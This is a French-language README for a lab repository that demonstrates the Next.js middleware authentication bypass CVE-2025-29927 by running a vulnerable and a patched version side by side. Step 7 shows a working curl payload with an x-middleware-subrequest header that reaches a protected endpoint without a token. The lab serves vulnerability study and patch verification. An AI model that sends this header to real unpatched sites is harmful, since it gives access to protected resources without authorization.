Vulnérabilité du middleware Next.js CVE-2025-29927

Ce dépôt est un projet monorepo permettant de comparer la vulnérabilité du middleware CVE-2025-29927 avec les versions Next.js 15.2.3 et Next.js 15.1.7.

Description de la vulnérabilité

CVE-2025-29927 est une faille de sécurité découverte dans le middleware de Next.js, qui permet de contourner le middleware d'authentification en utilisant l'en-tête x-middleware-subrequest. Cette vulnérabilité affecte les versions suivantes :

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9 Ces versions ont été corrigées en mettant à jour vers les versions de correctif correspondantes.

Méthode d'exécution

1. Clonez le dépôt.
2. Installez les dépendances : pnpm install
3. Lancez le serveur de développement : pnpm dev
4. Accédez à chaque application

• Version corrigée (15.2.3) : http://localhost:3000
• Version vulnérable (15.1.7) : http://localhost:3001

5. Sans jeton, l'accès au point d'accès /api/protected est refusé.

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

6. En fournissant un jeton valide, vous pouvez accéder avec succès au point d'accès protégé.

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

7. Contournez le middleware en exploitant la vulnérabilité.

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Structure du projet

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # Version vulnérable
│   └── next15_2_3/  # Version corrigée
├── packages/
│   └── ui/          # Composants UI partagés
└── README.md

Liens de référence

• Blog de Vercel
• YouTube de DevStefanCho
• https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
• https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
• https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
• https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927